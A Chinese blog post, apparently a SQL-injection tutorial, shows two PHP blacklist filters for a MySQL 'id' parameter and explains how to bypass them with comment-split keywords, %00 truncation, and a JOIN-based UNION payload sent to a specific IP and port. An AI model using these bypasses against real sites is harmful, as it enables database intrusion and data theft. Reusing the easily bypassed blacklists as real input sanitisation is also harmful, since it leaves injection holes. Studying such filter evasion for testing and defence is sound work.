注入篇————MYSQL过滤特殊符号的字符型注入方法

一、过滤了特殊符号的字符型注入

例如下面的过滤代码:


  
  
  1. function blacklist($id)
  2. {
  3. $id= preg_replace( '/or/i', "", $id); //strip out OR (non case sensitive)
  4. $id= preg_replace( '/and/i', "", $id); //Strip out AND (non case sensitive)
  5. $id= preg_replace( '/[\/\*]/', "", $id); //strip out /*
  6. $id= preg_replace( '/[--]/', "", $id); //Strip out --
  7. $id= preg_replace( '/[#]/', "", $id); //Strip out #
  8. $id= preg_replace( '/[\s]/', "", $id); //Strip out spaces
  9. $id= preg_replace( '/[\/\\\\]/', "", $id); //Strip out slashes
  10. return $id;
  11. }

在这部分代码中过滤了“or”、“and”、“/”、“*”、“#”、“s”

绕过方法:

因为有过滤,所以order by \and 等命令都不能使用。

用o/**/rder来绕过or过滤

用a/**/nd 来绕过and过滤,或者使ID=0来强制报错

把注释改为;%00截断

二、过滤了逗号的字符型注入

例如下面的过滤代码


  
  
  1. function blacklist($id)
  2. {
  3. if(stripos($id, ',')){ //stripos函数作用:查找 "php" 在字符串中第一次出现的位置
  4. $id= '1';
  5. } else{
  6. $id=$id;
  7. }
  8. return $id;
  9. }

绕过方法

在注入语句中使用Join函数即可绕过

例如:

http://222.18.158.243:4604/?id=1' and 1=2 union select * from ( (select 1)a  JOIN  (select 2) b  JOIN (select 3) c )%23
  
  

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值